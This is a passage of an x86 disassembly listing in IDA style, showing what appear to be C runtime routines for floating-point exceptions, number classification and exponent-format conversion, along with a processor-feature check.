0FFFFFFF7h loc_42114A: ; CODE XREF: sub_420F11+234j test byte ptr [eax+8], 2 jz short loc_421153 and dword ptr [esi], 0FFFFFFEFh loc_421153: ; CODE XREF: sub_420F11+23Dj test [eax+8], bl jz short loc_42115B and dword ptr [esi], 0FFFFFFDFh loc_42115B: ; CODE XREF: sub_420F11+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42118F dec ecx jz short loc_421183 dec ecx jz short loc_421179 dec ecx jnz short loc_421191 or byte ptr [esi+1], 0Ch jmp short loc_421191 ; --------------------------------------------------------------------------- loc_421179: ; CODE XREF: sub_420F11+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_42118B ; --------------------------------------------------------------------------- loc_421183: ; CODE XREF: sub_420F11+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_42118B: ; CODE XREF: sub_420F11+270j mov [esi], ecx jmp short loc_421191 ; --------------------------------------------------------------------------- loc_42118F: ; CODE XREF: sub_420F11+257j and [esi], edx loc_421191: ; CODE XREF: sub_420F11+260j ; sub_420F11+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_4211B1 dec ecx jz short loc_4211A8 dec ecx jnz short loc_4211BA and [esi], edx jmp short loc_4211BA ; --------------------------------------------------------------------------- loc_4211A8: ; CODE XREF: sub_420F11+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_4211B8 ; --------------------------------------------------------------------------- loc_4211B1: ; CODE XREF: sub_420F11+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_4211B8: ; CODE XREF: sub_420F11+29Ej mov [esi], ecx loc_4211BA: ; CODE XREF: sub_420F11+291j ; sub_420F11+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_420F11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4211C4 proc near ; CODE XREF: sub_420E79+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4211EF test byte ptr [ebp+arg_8], bl jz short loc_4211EF push ebx call sub_421671 pop ecx and edi, 0FFFFFFF7h jmp loc_4213B9 ; --------------------------------------------------------------------------- loc_4211EF: ; CODE XREF: sub_4211C4+15j ; sub_4211C4+1Aj test al, 4 jz short loc_421209 test byte ptr [ebp+arg_8], 4 jz short loc_421209 push 4 call sub_421671 pop ecx and edi, 0FFFFFFFBh jmp loc_4213B9 ; --------------------------------------------------------------------------- loc_421209: ; CODE XREF: sub_4211C4+2Dj ; sub_4211C4+33j test al, bl jz loc_4212E3 test byte ptr [ebp+arg_8], 8 jz loc_4212E3 push 8 call sub_421671 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_4212BB cmp ecx, 400h jz short loc_421293 cmp ecx, 800h jz short loc_42126B cmp ecx, eax jnz loc_4212DB mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427858 fld dbl_442AD8 fnstsw ax sahf ja short loc_421263 fchs loc_421263: ; CODE XREF: sub_4211C4+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4212D9 ; --------------------------------------------------------------------------- loc_42126B: ; CODE XREF: sub_4211C4+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427858 fnstsw ax sahf jbe short loc_421283 fld dbl_442AC8 jmp short loc_42128B ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_4211C4+B5j fld dbl_442AD8 fchs loc_42128B: ; CODE XREF: sub_4211C4+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4212D9 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_4211C4+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427858 fnstsw ax sahf jbe short loc_4212AB fld dbl_442AD8 jmp short loc_4212B3 ; --------------------------------------------------------------------------- loc_4212AB: ; CODE XREF: sub_4211C4+DDj fld dbl_442AC8 fchs loc_4212B3: ; CODE XREF: sub_4211C4+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_4212D9 ; --------------------------------------------------------------------------- loc_4212BB: ; CODE XREF: sub_4211C4+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427858 fld dbl_442AC8 fnstsw ax sahf ja short loc_4212D3 fchs loc_4212D3: ; CODE XREF: sub_4211C4+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_4212D9: ; CODE XREF: sub_4211C4+A5j ; sub_4211C4+CDj ... fstp qword ptr [ecx] loc_4212DB: ; CODE XREF: sub_4211C4+81j and edi, 0FFFFFFFEh jmp loc_4213B9 ; --------------------------------------------------------------------------- loc_4212E3: ; CODE XREF: sub_4211C4+47j ; sub_4211C4+51j test al, 2 jz loc_4213B9 test byte ptr [ebp+arg_8], 10h jz loc_4213B9 push esi xor esi, esi test al, 10h jz short loc_4212FE mov esi, ebx loc_4212FE: ; CODE XREF: sub_4211C4+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427858 fnstsw ax sahf jz loc_4213A7 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421570 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421349 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_42139D ; --------------------------------------------------------------------------- loc_421349: ; CODE XREF: sub_4211C4+17Aj fld [ebp+var_C] fcomp dbl_427858 fnstsw ax sahf jnb short loc_42135B mov edx, ebx jmp short loc_42135D ; --------------------------------------------------------------------------- loc_42135B: ; CODE XREF: sub_4211C4+191j xor edx, edx loc_42135D: ; CODE XREF: sub_4211C4+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421391 sub eax, ecx loc_421374: ; CODE XREF: sub_4211C4+1CBj test byte ptr [ebp+var_C], bl jz short loc_42137F test esi, esi jnz short loc_42137F mov esi, ebx loc_42137F: ; CODE XREF: sub_4211C4+1B3j ; sub_4211C4+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_42138B or byte ptr [ebp+var_C+3], 80h loc_42138B: ; CODE XREF: sub_4211C4+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421374 loc_421391: ; CODE XREF: sub_4211C4+1ACj test edx, edx jz short loc_42139D fld [ebp+var_C] fchs fstp [ebp+var_C] loc_42139D: ; CODE XREF: sub_4211C4+183j ; sub_4211C4+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_4213A9 ; --------------------------------------------------------------------------- loc_4213A7: ; CODE XREF: sub_4211C4+14Ej mov esi, ebx loc_4213A9: ; CODE XREF: sub_4211C4+1E1j test esi, esi pop esi jz short loc_4213B6 push 10h call sub_421671 pop ecx loc_4213B6: ; CODE XREF: sub_4211C4+1E8j and edi, 0FFFFFFFDh loc_4213B9: ; CODE XREF: sub_4211C4+26j ; sub_4211C4+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_4213D0 test byte ptr [ebp+arg_8], 20h jz short loc_4213D0 push 20h call sub_421671 pop ecx and edi, 0FFFFFFEFh loc_4213D0: ; CODE XREF: sub_4211C4+1F9j ; sub_4211C4+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_4211C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4213DB(int, int, int, int, int, int, double, int) sub_4213DB proc near ; CODE XREF: sub_420E26+2Bp ; sub_420E79+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421489 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421446 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_42164E lea eax, [ebp+var_20] push eax call sub_423E7D add esp, 0Ch test eax, eax jnz short loc_421440 push esi call sub_421463 pop ecx loc_421440: ; CODE XREF: sub_4213DB+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_4213DB+14j push 0FFFFh push [ebp+arg_20] call sub_42164E push [ebp+arg_0] call sub_421463 fld [ebp+arg_18] add esp, 0Ch leave retn sub_4213DB endp ; =============== S U B R O U T I N E ======================================= sub_421463 proc near ; CODE XREF: sub_420E79+7Dp ; sub_4213DB+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_42147E jle short locret_421488 cmp eax, 3 jg short locret_421488 mov dword_4E14F8, 22h retn ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_421463+7j mov dword_4E14F8, 21h locret_421488: ; CODE XREF: sub_421463+9j ; sub_421463+Ej retn sub_421463 endp ; =============== S U B R O U T I N E ======================================= sub_421489 proc near ; CODE XREF: sub_4213DB+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_4429F0 loc_421490: ; CODE XREF: sub_421489+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_4214A6 add eax, 8 inc ecx cmp eax, offset dbl_442AC8 jl short loc_421490 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4214A6: ; CODE XREF: sub_421489+Dj mov eax, off_4429F4[ecx*8] retn sub_421489 endp ; =============== S U B R O U T I N E ======================================= sub_4214AE proc near ; CODE XREF: sub_420E79+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_4214BA push 5 jmp short loc_4214D0 ; --------------------------------------------------------------------------- loc_4214BA: ; CODE XREF: sub_4214AE+6j test al, 8 jz short loc_4214C2 push 1 jmp short loc_4214D0 ; --------------------------------------------------------------------------- loc_4214C2: ; CODE XREF: sub_4214AE+Ej test al, 4 jz short loc_4214CA push 2 jmp short loc_4214D0 ; --------------------------------------------------------------------------- loc_4214CA: ; CODE XREF: sub_4214AE+16j test al, 1 jz short loc_4214D2 push 3 loc_4214D0: ; CODE XREF: sub_4214AE+Aj ; sub_4214AE+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_4214D2: ; CODE XREF: sub_4214AE+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_4214AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4214DB(double) sub_4214DB proc near ; CODE XREF: sub_41CD19:loc_41CD9Fp ; sub_41CE5F:loc_41CEE5p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_4214DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4214ED(double, int) sub_4214ED proc near ; CODE XREF: sub_421570+82p ; sub_421570+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_4214ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421516 proc near ; CODE XREF: sub_41CD19+31p ; sub_41CE5F+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_42152D cmp [ebp+arg_0], edx jnz short loc_42153F push 1 jmp short loc_421569 ; --------------------------------------------------------------------------- loc_42152D: ; CODE XREF: sub_421516+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_42153F cmp [ebp+arg_0], edx jnz short loc_42153F push 2 jmp short loc_421569 ; --------------------------------------------------------------------------- loc_42153F: ; CODE XREF: sub_421516+11j ; sub_421516+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421552 push 3 jmp short loc_421569 ; --------------------------------------------------------------------------- loc_421552: ; CODE XREF: sub_421516+36j cmp cx, 7FF0h jnz short loc_42156C test [ebp+arg_4], 7FFFFh jnz short loc_421567 cmp [ebp+arg_0], edx jz short loc_42156C loc_421567: ; CODE XREF: sub_421516+4Aj push 4 loc_421569: ; CODE XREF: sub_421516+15j ; sub_421516+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_42156C: ; CODE XREF: sub_421516+41j ; sub_421516+4Fj xor eax, eax pop ebp retn sub_421516 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421570(double, int) sub_421570 proc near ; CODE XREF: sub_4211C4+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427858 push esi fnstsw ax sahf jnz short loc_421590 fldz xor esi, esi fstp [ebp+var_8] jmp loc_421626 ; --------------------------------------------------------------------------- loc_421590: ; CODE XREF: sub_421570+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_4215FF test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_4215A8 cmp dword ptr [ebp+arg_0], ecx jz short loc_4215FF loc_4215A8: ; CODE XREF: sub_421570+31j fld [ebp+arg_0] fcomp dbl_427858 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_4215C0 push 1 pop eax jmp short loc_4215C2 ; --------------------------------------------------------------------------- loc_4215C0: ; CODE XREF: sub_421570+49j xor eax, eax loc_4215C2: ; CODE XREF: sub_421570+4Ej ; sub_421570+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_4215DB shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_4215D5 or dword ptr [ebp+arg_0+4], 1 loc_4215D5: ; CODE XREF: sub_421570+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_4215C2 ; --------------------------------------------------------------------------- loc_4215DB: ; CODE XREF: sub_421570+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_4215E9 or byte ptr [ebp+arg_0+7], 80h loc_4215E9: ; CODE XREF: sub_421570+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4214ED fstp [ebp+var_8] add esp, 0Ch jmp short loc_421626 ; --------------------------------------------------------------------------- loc_4215FF: ; CODE XREF: sub_421570+28j ; sub_421570+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_4214ED mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_421626: ; CODE XREF: sub_421570+1Bj ; sub_421570+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421570 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421631 proc near ; CODE XREF: sub_420F11+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_421631 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42163F proc near ; CODE XREF: sub_420F11+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42163F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42164E proc near ; CODE XREF: sub_41CD19+13p ; sub_41CD19+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_42164E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421671 proc near ; CODE XREF: sub_4211C4+1Dp ; sub_4211C4+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421688 fld tbyte_442AF0 fistp [ebp+arg_0] wait loc_421688: ; CODE XREF: sub_421671+Bj test cl, 8 jz short loc_42169D fstsw ax fld tbyte_442AF0 fstp [ebp+var_8] wait fstsw ax loc_42169D: ; CODE XREF: sub_421671+1Aj test cl, 10h jz short loc_4216AC fld tbyte_442AFC fstp [ebp+var_8] wait loc_4216AC: ; CODE XREF: sub_421671+2Fj test cl, 4 jz short loc_4216BA fldz fld1 fdivrp st(1), st fstp st wait loc_4216BA: ; CODE XREF: sub_421671+3Ej test cl, 20h jz short locret_4216C5 fldpi fstp [ebp+var_8] wait locret_4216C5: ; CODE XREF: sub_421671+4Cj leave retn sub_421671 endp ; =============== S U B R O U T I N E ======================================= sub_4216C7 proc near ; CODE XREF: sub_41CDE8+Fp push 30000h push 10000h call sub_423EB5 pop ecx pop ecx retn sub_4216C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216D9 proc near ; CODE XREF: sub_421717:loc_42173Bj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427868 fstp [ebp+var_8] fld dbl_427860 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_421713 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_421713: ; CODE XREF: sub_4216D9+33j xor eax, eax leave retn sub_4216D9 endp ; =============== S U B R O U T I N E ======================================= sub_421717 proc near ; CODE XREF: sub_41CDE8+5p push offset aKernel32 ; "KERNEL32" call near ptr 0B40000h cmp eax, 1574C085h push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4270BC test eax, eax jz short loc_42173B push 0 call eax ; sub_41CDE8 retn ; --------------------------------------------------------------------------- loc_42173B: ; CODE XREF: sub_421717+1Dj jmp sub_4216D9 sub_421717 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421740 proc near ; DATA XREF: sub_41CE00+1Eo arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DE1C cmp eax, 65h pop ecx jz short loc_421780 loc_421754: ; CODE XREF: sub_421740+3Ej inc esi cmp dword_44276C, 1 jle short loc_42176D movsx eax, byte ptr [esi] push 4 push eax call sub_41F37A pop ecx pop ecx jmp short loc_42177C ; --------------------------------------------------------------------------- loc_42176D: ; CODE XREF: sub_421740+1Cj movsx eax, byte ptr [esi] mov ecx, off_442560 mov al, [ecx+eax*2] and eax, 4 loc_42177C: ; CODE XREF: sub_421740+2Bj test eax, eax jnz short loc_421754 loc_421780: ; CODE XREF: sub_421740+12j mov cl, byte_442770 mov al, [esi] mov [esi], cl inc esi loc_42178B: ; CODE XREF: sub_421740+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_42178B pop esi retn sub_421740 endp ; --------------------------------------------------------------------------- loc_42179A: ; DATA XREF: sub_41CE00+5o mov eax, [esp+4] mov dl, byte_442770 mov cl, [eax] test cl, cl jz short loc_4217B6 loc_4217AA: ; CODE XREF: .nsp0:004217B4j cmp cl, dl jz short loc_4217B6 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4217AA loc_4217B6: ; CODE XREF: .nsp0:004217A8j ; .nsp0:004217ACj mov cl, [eax] inc eax test cl, cl jz short locret_4217E7 loc_4217BD: ; CODE XREF: .nsp0:004217CEj mov cl, [eax] test cl, cl jz short loc_4217D0 cmp cl, 65h jz short loc_4217D0 cmp cl, 45h jz short loc_4217D0 inc eax jmp short loc_4217BD ; --------------------------------------------------------------------------- loc_4217D0: ; CODE XREF: .nsp0:004217C1j ; .nsp0:004217C6j ... mov ecx, eax loc_4217D2: ; CODE XREF: .nsp0:004217D6j dec eax cmp byte ptr [eax], 30h jz short loc_4217D2 cmp [eax], dl jnz short loc_4217DD dec eax loc_4217DD: ; CODE XREF: .nsp0:004217DAj ; .nsp0:004217E5j mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_4217DD locret_4217E7: ; CODE XREF: .nsp0:004217BBj retn ; --------------------------------------------------------------------------- loc_4217E8: ; DATA XREF: sub_41CE00+28o mov eax, [esp+4] fld qword ptr [eax] fcomp dbl_427858 fnstsw ax sahf jb short loc_4217FD push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4217FD: ; CODE XREF: .nsp0:004217F7j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421800 proc near ; DATA XREF: sub_41CE00+14o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_421829 lea eax, [ebp+var_8] push eax call sub_424378 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_421829: ; CODE XREF: sub_421800+Cj lea eax, [ebp+arg_8] push eax call sub_4243A5 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_421800 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42183E proc near ; CODE XREF: sub_421ABB+17p ; sub_421B05+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4E158C, 0 push ebx push esi jz short loc_421873 mov ebx, [ebp+arg_8] mov eax, dword_4E1588 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421B56 pop ecx pop ecx jmp short loc_4218AB ; --------------------------------------------------------------------------- loc_421873: ; CODE XREF: sub_42183E+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424449 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4243D2 add esp, 14h loc_4218AB: ; CODE XREF: sub_42183E+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4218B7 mov byte ptr [eax], 2Dh inc eax loc_4218B7: ; CODE XREF: sub_42183E+73j test ebx, ebx jle short loc_4218CF mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_442770 mov eax, edi pop edi mov [eax], cl loc_4218CF: ; CODE XREF: sub_42183E+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4E158C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C550 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_4218F6 mov byte ptr [ecx], 45h loc_4218F6: ; CODE XREF: sub_42183E+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_42193B mov ebx, [esi+4] dec ebx jns short loc_42190A neg ebx mov byte ptr [ecx], 2Dh loc_42190A: ; CODE XREF: sub_42183E+C5j inc ecx cmp ebx, 64h jl short loc_421921 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421921: ; CODE XREF: sub_42183E+D0j inc ecx cmp ebx, 0Ah jl short loc_421938 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421938: ; CODE XREF: sub_42183E+E7j add [ecx+1], bl loc_42193B: ; CODE XREF: sub_42183E+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_42183E endp ; =============== S U B R O U T I N E ======================================= sub_421942 proc near ; CODE XREF: sub_421AE2+13p ; sub_421B05+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4E158C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_42197D mov eax, dword_4E1590 mov ebx, [esp+10h+arg_8] mov esi, dword_4E1588 cmp eax, ebx jnz short loc_4219AD xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4219AD ; --------------------------------------------------------------------------- loc_42197D: ; CODE XREF: sub_421942+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424449 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4243D2 add esp, 14h loc_4219AD: ; CODE XREF: sub_421942+22j ; sub_421942+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4219BB mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4219BB: ; CODE XREF: sub_421942+70j mov eax, [esi+4] test eax, eax jg short loc_4219D2 push 1 push edi call sub_421B56 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_4219D4 ; --------------------------------------------------------------------------- loc_4219D2: ; CODE XREF: sub_421942+7Ej add edi, eax loc_4219D4: ; CODE XREF: sub_421942+8Ej test ebx, ebx jle short loc_421A19 push 1 push edi call sub_421B56 mov al, byte_442770 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421A19 cmp byte_4E158C, 0 jz short loc_4219FE neg esi jmp short loc_421A04 ; --------------------------------------------------------------------------- loc_4219FE: ; CODE XREF: sub_421942+B6j neg esi cmp ebx, esi jl short loc_421A06 loc_421A04: ; CODE XREF: sub_421942+BAj mov ebx, esi loc_421A06: ; CODE XREF: sub_421942+C0j push ebx push edi call sub_421B56 push ebx push 30h push edi call sub_41BC40 add esp, 14h loc_421A19: ; CODE XREF: sub_421942+94j ; sub_421942+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421A20 proc near ; CODE XREF: sub_421B05+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424449 mov dword_4E1588, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4E1590, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_4243D2 mov eax, dword_4E1588 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4E1590, ecx setl cl mov byte_4E1594, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4E1590, eax jl short loc_421AA6 cmp eax, ebx jge short loc_421AA6 test cl, cl jz short loc_421A97 loc_421A8D: ; CODE XREF: sub_421A20+72j mov al, [esi] inc esi test al, al jnz short loc_421A8D and [esi-2], al loc_421A97: ; CODE XREF: sub_421A20+6Bj push ebx push [ebp+arg_4] push edi call sub_421AE2 add esp, 0Ch jmp short loc_421AB6 ; --------------------------------------------------------------------------- loc_421AA6: ; CODE XREF: sub_421A20+63j ; sub_421A20+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421ABB add esp, 10h loc_421AB6: ; CODE XREF: sub_421A20+84j pop edi pop esi pop ebx pop ebp retn sub_421A20 endp ; =============== S U B R O U T I N E ======================================= sub_421ABB proc near ; CODE XREF: sub_421A20+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = 